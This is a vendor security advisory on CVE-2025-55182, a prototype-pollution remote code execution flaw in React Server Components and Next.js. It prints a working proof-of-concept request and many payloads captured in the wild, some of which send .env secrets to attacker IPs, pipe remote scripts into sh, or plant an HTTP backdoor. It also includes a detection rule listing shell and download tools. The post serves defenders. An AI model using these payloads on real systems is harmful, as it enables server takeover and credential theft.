Key points and observations
- On December 3, a remote code code execution (RCE) vulnerability was identified in React Server Components and tracked as CVE-2025-55182.
- Under certain conditions that remain unclear at the time of writing, this vulnerability allows for the execution of arbitrary code in server-side applications without authentication in affected components.
- This vulnerability affects the popular Next.js framework because it includes one of the affected components. Next.js is tracking this vulnerability as CVE-2025-66478. While the US National Vulnerability Database (NVD) has officially rejected this CVE assignment, it's still being referred to by the community.
- CVE-2025-55182 was assigned a CVSS score of 10/10.
- Public exploit code is available. Datadog has confirmed that exploitation is straightforward, including in basic blank applications created by the scaffolding tool create-next-app that uses a default template to bootstrap a new Next.js application.
- As of December 5, we have identified active exploitation attempts that contain weaponized payloads.
How to know if you're affected
According to the official advisory, affected React components are listed below.
| Library | Vulnerable versions | Patched versions | CVE |
|---|---|---|---|
| react-server-dom-parcel | 19.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 | CVE-2025-55182 |
| react-server-dom-webpack | 19.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 | CVE-2025-55182 |
| react-server-dom-turbopack | 19.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 | CVE-2025-55182 |
Downstream components that use these libraries are also affected. Most notably, this vulnerability impacts the popular server-side framework Next.js when an application uses the App Router feature. For tracking purposes, Next.js is tracking this vulnerability as CVE-2025-66478.
Vulnerable versions of Next.js that embed a vulnerable React component are:
- 15.x
- 16.x
- 14.3.0-canary.77 and later canary releases
Patched versions are:
- 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7
- 16.0.7
How to remediate affected applications
To remediate a vulnerable application, upgrade the vulnerable components to a patched version. You can run npm run audit locally to identify the presence of this vulnerability:
$ npm audit report
next 16.0.0-canary.0 - 16.0.6
Severity: critical
Next.js is vulnerable to RCE in React flight protocol - https://github.com/advisories/GHSA-9qr9-h5gf-34mp
Analysis and exploitation of the vulnerability
The patch to this vulnerability was committed on December 3 in the facebook/react GitHub repository: https://github.com/facebook/react/pull/35277
export function requireModule<T>(metadata: ClientReference<T>): T {
const moduleExports = parcelRequire(metadata[ID]);
- return moduleExports[metadata[NAME]];
+ if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+ return moduleExports[metadata[NAME]];
+ }
+ return (undefined: any);
}
This patch shows that the vulnerability is a server-side prototype pollution vulnerability, a subtype of prototype pollution that's applicable for server-side components. Under specific conditions, this would allow an attacker to "pollute" the prototype of a JavaScript object and execute arbitrary code by calling native functions such as child_process.execSync.
Public proofs of concept (PoC)
Following the announcement of this vulnerability, several proofs of concept were released, with varying degrees of real-world application. Some of these proofs of concept were visibly AI-generated.
A few hours after the vulnerability was announced, a first PoC ejpir/CVE-2025-55182-poc was released, which injects exploit payloads in HTTP parameters called $ACTION_REF_0 and $ACTION_0:0 but was ultimately deemed non-functional.
Later on December 4, a working proof-of-concept exploit code was published on GitHub by security engineer Moritz Sanft, and confirms that the vulnerability can be exploited, including against a blank Next.js application created through create-next-app. This can be demonstrated by creating a blank application, then building and running it:
npx create-next-app@16.0.6 sample-app --yes
cd sample app
npm run build
npm run start
Then, in a separate terminal, executing the following HTTP request:
command="id > /tmp/pwned"
cat > payload.json <<EOF
{
"then": "\$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\"then\\": \\"\$B0\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('${command}');",
"_formData": {
"get": "\$1:constructor:constructor"
}
}
}
EOF
echo -n '"$@0"' > payload2.txt
curl -X POST http://localhost:3000 -H "Next-Action: dontcare" \
-F "0=<payload.json" -F '1=<payload2.txt' \
--max-time 2 2>/dev/null || true
Following execution, the file /tmp/pwned will contain:
uid=0(root) gid=0(root) groups=0(root)
For an in-depth explanation of the exploitation steps, refer to Moritz Sanft's walk-through.
On December 5, the original reporter of the vulnerability, Lachlan Davidson, published their proof-of-concept code on GitHub in three different flavors. It works similarly to Moritz Sanft's code, although the payloads are different.
Exploitation activity in the wild
Based on our global telemetry, we started identifying scanning activity for this vulnerability on December 3 around 10 p.m. UTC. As of December 5, we continued to observe both scanning and exploitation activity and have identified over 800 IP addresses exhibiting scanning behavior that are attempting to exploit applications of at least two distinct organizations. This activity became sustained starting from December 4 around 11 p.m. UTC.
Analysis of exploitation activity
Analyzing the number of exploiting IPs also shows a surge of scanning activity starting early on December 5 (UTC), as the graph below shows. Some of this scanning activity can be attributed to legitimate security companies.
Scanning activity correlates with the release timeline of the proofs of concept. First, we observed exploitation attempts that were using the nonfunctional PoC. Then, when the second PoC was made available by Moritz Sanft, scanning activity started using its payload instead. Finally, the payload from the original proof of concept took over.
Observed payloads
We observed the payloads below in the $ACTION_0:0 HTTP parameter, corresponding to the initial non-functional PoC. These payloads are not weaponized and correspond to scanning behavior.
{"id":"vm#runInThisContext","bound":["process.mainModule.require(\"child_process\").execSync(\"curl sapo.shk0x.net/?from=https://REDACTED \").toString()"]}
{"id":"vm#runInThisContext","bound":["process.mainModule.require('child_process').execSync('type C:\\\\Windows\\\\win.ini').toString()"]}
{"id":"vm#runInThisContext","bound":["process.mainModule.require('child_process').execSync('id').toString()"]}
{"id":"fs#readfilesync","bound":["/etc/passwd","utf8"]}
{"id": "vm#runInThisContext", "bound": ["process.mainModule.require(\"child_process\").execSync(\"echo vuln_test_835543\").toString()"]}
{"id":"vm#runInThisContext","bound":["global.process.mainModule.require(\"child_process\").execSync(\"nslookup xwpoogfunv.zaza.eu.org\")"]}
{"id":"vm#runInThisContext","bound":["process.mainModule.require(\"dns\").resolve(\"REDACTED.a02.lol\",console.log)"]}
{"id": "vm#runInThisContext", "bound": ["console.log('YOU HAVE BEEN HACKED!'); process.mainModule.require('child_process').execSync('echo DvkDlhIRaJXc78t5').toString()"]}
{"id":"vm#runInNewContext","bound":["this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()"]}
{"id":"vm#runInThisContext","bound":["fetch('http://REDACTED.oastify.com');"]}
Next, in addition to payloads used to validate if the vulnerability is present, we observed several weaponized payloads linked to one of the two working proofs of concept we have validated, embedded in the HTTP parameter 0.
{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "process.mainModule.require('child_process').execSync('cat ./.env | wget --post-data=\"$(cat -)\" -O- http://93.123.109.247:8000');", "_formData": {"get": "$1:constructor:constructor"}}}
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('curl 45.77.33.136:8080/b.sh|sh').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('(curl -fsSL -m180 http://194.246.84.13:2045/slt||wget -T180 -q http://194.246.84.13:2045/slt)|sh').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('((curl -sL http://45.32.158.54/5e51aff54626ef7f/x86_64 -o /tmp/x86_64;chmod 777 /tmp/x86_64;/tmp/x86_64) || (wget http://45.32.158.54/5e51aff54626ef7f/x86_64 -O /tmp/x86_64;chmod 777 /tmp/x86_64;/tmp/x86_64))').toString().trim();throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://46.36.37.85:12000/sex.sh && bash sex.sh');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').exec('mkdir -p /tmp && set > /tmp/c_0500 && cat *env* >> /tmp/c_0500 && wget --post-file=/tmp/c_0500 -qO /dev/null http://144.202.115.234:80/upload?name=REDACTED && rm /tmp/c_0500');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$b1337\"}","_response":{"_prefix":"var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!=='undefined'?globalthis.require:null));\n var os=_r('os');\n var fs=_r('fs');\n var cp=_r('child_process');\n var info=[];\n\n info.push('=== system ===');\n info.push('platform: '+os.platform());\n info.push('arch: '+os.arch());\n info.push('hostname: '+os.hostname());\n info.push('user: '+os.userinfo().username);\n info.push('home: '+os.homedir());\n info.push('cwd: '+process.cwd());\n info.push('node: '+process.version);\n info.push('pid: '+process.pid);\n\n info.push('\\n=== environment (sensitive) ===');\n var e=process.env;\n for(var k in e){\n var ku=k.touppercase();\n if(ku.includes('key')||ku.includes('secret')||ku.includes('pass')||ku.includes('token')||ku.includes('database')||ku.includes('mongo')||ku.includes('redis')||ku.includes('api')||ku.includes('auth')||ku.includes('aws')){\n info.push(k+'='+e[k]);\n }\n }\n\n info.push('\\n=== files ===');\n var files=['.env','.env.local','.env.production','next.config.js','package.json','/etc/passwd'];\n files.foreach(function(f){\n try{\n var s=fs.statsync(f);\n info.push(f+' ('+s.size+' bytes) - exists');\n }catch(e){\n info.push(f+' - not found');\n }\n });\n\n info.push('\\n=== network ===');\n try{\n var n=os.networkinterfaces();\n for(var i in n){\n n[i].foreach(function(a){\n if(a.family==='ipv4')info.push(i+': '+a.address);\n });\n }\n }catch(e){}\n\n info.push('\\n=== writable dirs ===');\n var dirs=['/tmp','/var/tmp',process.cwd(),process.cwd()+'/public',process.cwd()+'/.next'];\n dirs.foreach(function(d){\n try{\n fs.accesssync(d,fs.constants.w_ok);\n info.push(d+' - writable');\n }catch(e){\n info.push(d+' - not writable');\n }\n });\n\n return info.join('\\n');\n })();throw object.assign(new error('next_redirect'),{digest:`next_redirect;push;/x?d=${encodeuricomponent(string(res))};307;`});","_chunks":"$q2","_formdata":{"get":"$1:constructor:constructor"}}}
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var require=process.mainModule.require;var http=require('http');var cp=require('child_process');var orig=http.Server.prototype.emit;http.Server.prototype.emit=function(ev,rq,rs){if(ev==='request'&&rq.url.indexOf('/_bk')===0){var m=rq.url.match(/c=([^&]*)/);rs.writeHead(200,{'Content-Type':'text/plain'});rs.end(m?cp.execSync(decodeURIComponent(m[1])).toString():'ready');return true;}return orig.apply(this,arguments);};throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`NEXT_REDIRECT;push;/injected;307;`});//","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
{then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=process.mainmodule.require(child_process).exec(if [ -f/usr/bin/curl ] then curl http://141.11.240.103:45178/test.sh | sh else wget -qo- http://141.11.240.103:45178/test.sh | sh fi ).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}}
Indicators of compromise (IOCs)
We are sharing indicators of compromise corresponding to IP addresses from which we have observed attempts to exploit the vulnerability with a malicious exploit payload.
These IOCs are available on our GitHub repository: https://github.com/DataDog/indicators-of-compromise/tree/main/react-CVE-2025-55182
A note on server-side prototype pollution vulnerabilities
Server-side prototype pollution vulnerabilities (CWE-1321: Improperly Controlled Modification of Object Prototype Attributes) are generally exploited in frontend code to trigger cross-site scripting (XSS vulnerabilities). Although less common on the server side, successful exploitation is more impactful in this case, as it can allow for remote code execution or arbitrary file read on the server.
To illustrate what a server-side prototype pollution vulnerability might look like in the wild, let's take a standard function that attempts to merge two objects:
function merge(target, source) {
for (let key in source) {
if (typeof source[key] === 'object' && source[key] !== null) {
target[key] = target[key] || {};
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
Let’s assume we're reading some sort of configuration from untrusted user input, in our case from command line arguments:
const userInput = JSON.parse(process.argv[2] || '{}');
const defaultConfig = {}
const config = merge(defaultConfig, userInput);
Then, that application runs a seemingly-innocuous process, such as sh:
const result = spawnSync('sh', [], {});
console.log(result.stdout.toString())
At first glance, it may look like this code is safe and wouldn't allow a user to run arbitrary commands.
However, it is vulnerable to prototype pollution:
$ node app.js '{"__proto__":{"input":"id"}}'
uid=0(root) gid=0(root) groups=0(root)
When the merge function runs, it ends up modifying `Object.prototype` itself instead of just the target object. The key __proto__ is special in JavaScript: setting it doesn't create a property named __proto__, but rather modifies the prototype chain. This means Object.prototype.input is now set to a malicious command, and any future object created will have this property, as we can demonstrate by running:
> const object = {}
> object.__proto__.input = "Hello world!"
> const other = {}
> other.input
'Hello world!'
The call to spawnSync('sh', [], {}); is then equivalent to spawnSync('sh', [], {input: 'malicious command'});, which passes the malicious command as standard input to sh.
Although this demonstrates a simplified version of a prototype pollution vulnerability, it shows how using untrusted user input modifying an object's prototype may lead to code execution.
How Datadog can help
Datadog Code Security scans your code at runtime or directly on GitHub to identify third-party libraries with known vulnerabilities.
You can use the following search to identify if one of your applications is affected.
Datadog App and API Protection (AAP) is also able to identify and block exploitation at runtime.
Datadog Workload Protection identifies exploitation attempts using a custom agent rule reproduced below.
process.parent.file.name == "node"
&& exec.file.path in ["/bin/dash", "/usr/bin/dash", "/bin/sh", "/bin/static-sh", "/usr/bin/sh", "/bin/bash", "/usr/bin/bash", "/bin/bash-static", "/usr/bin/zsh", "/usr/bin/ash", "/usr/bin/csh", "/usr/bin/ksh", "/usr/bin/tcsh", "/usr/lib/initramfs-tools/bin/busybox", "/bin/busybox", "/usr/bin/fish", "/bin/ksh93", "/bin/rksh", "/bin/rksh93", "/bin/lksh", "/bin/mksh", "/bin/mksh-static", "/usr/bin/csharp", "/bin/posh", "/usr/bin/rc", "/bin/sash", "/usr/bin/yash", "/bin/zsh5", "/bin/zsh5-static"] || exec.comm in ["wget", "curl", "lwp-download"] || exec.file.path in ["/bin/cat", "/bin/chgrp", "/bin/chmod", "/bin/chown", "/bin/cp", "/bin/date", "/bin/dd", "/bin/df", "/bin/dir", "/bin/echo", "/bin/ln", "/bin/ls", "/bin/mkdir", "/bin/mknod", "/bin/mktemp", "/bin/mv", "/bin/pwd", "/bin/readlink", "/bin/rm", "/bin/rmdir", "/bin/sleep", "/bin/stty", "/bin/sync", "/bin/touch", "/bin/uname", "/bin/vdir", "/usr/bin/arch", "/usr/bin/b2sum", "/usr/bin/base32", "/usr/bin/base64", "/usr/bin/basename", "/usr/bin/chcon", "/usr/bin/cksum", "/usr/bin/comm", "/usr/bin/csplit", "/usr/bin/cut", "/usr/bin/dircolors", "/usr/bin/dirname", "/usr/bin/du", "/usr/bin/env", "/usr/bin/expand", "/usr/bin/expr", "/usr/bin/factor", "/usr/bin/fmt", "/usr/bin/fold", "/usr/bin/groups", "/usr/bin/head", "/usr/bin/hostid", "/usr/bin/id", "/usr/bin/install", "/usr/bin/join", "/usr/bin/link", "/usr/bin/logname", "/usr/bin/md5sum", "/usr/bin/md5sum.textutils", "/usr/bin/mkfifo", "/usr/bin/nice", "/usr/bin/nl", "/usr/bin/nohup", "/usr/bin/nproc", "/usr/bin/numfmt", "/usr/bin/od", "/usr/bin/paste", "/usr/bin/pathchk", "/usr/bin/pinky", "/usr/bin/pr", "/usr/bin/printenv", "/usr/bin/printf", "/usr/bin/ptx", "/usr/bin/realpath", "/usr/bin/runcon", "/usr/bin/seq", "/usr/bin/sha1sum", "/usr/bin/sha224sum", "/usr/bin/sha256sum", "/usr/bin/sha384sum", "/usr/bin/sha512sum", "/usr/bin/shred", "/usr/bin/shuf", "/usr/bin/sort", "/usr/bin/split", "/usr/bin/stat", "/usr/bin/stdbuf", "/usr/bin/sum", "/usr/bin/tac", "/usr/bin/tail", "/usr/bin/tee", "/usr/bin/test", "/usr/bin/timeout", "/usr/bin/tr", "/usr/bin/truncate", "/usr/bin/tsort", "/usr/bin/tty", "/usr/bin/unexpand", "/usr/bin/uniq", "/usr/bin/unlink", "/usr/bin/users", "/usr/bin/wc", "/usr/bin/who", "/usr/bin/whoami", "/usr/sbin/chroot", "/bin/busybox"]
References
Tooling:
Advisories:
Cloud providers:
Vendor posts:
- SearchLight Cyber, including detection opportunities.
- Wiz
- Tenable
CERTs:
Acknowledgements
This post includes contributions from Frederic Baguelin, Nick Frichette, Lorenzo Susini, and Ryan Simon.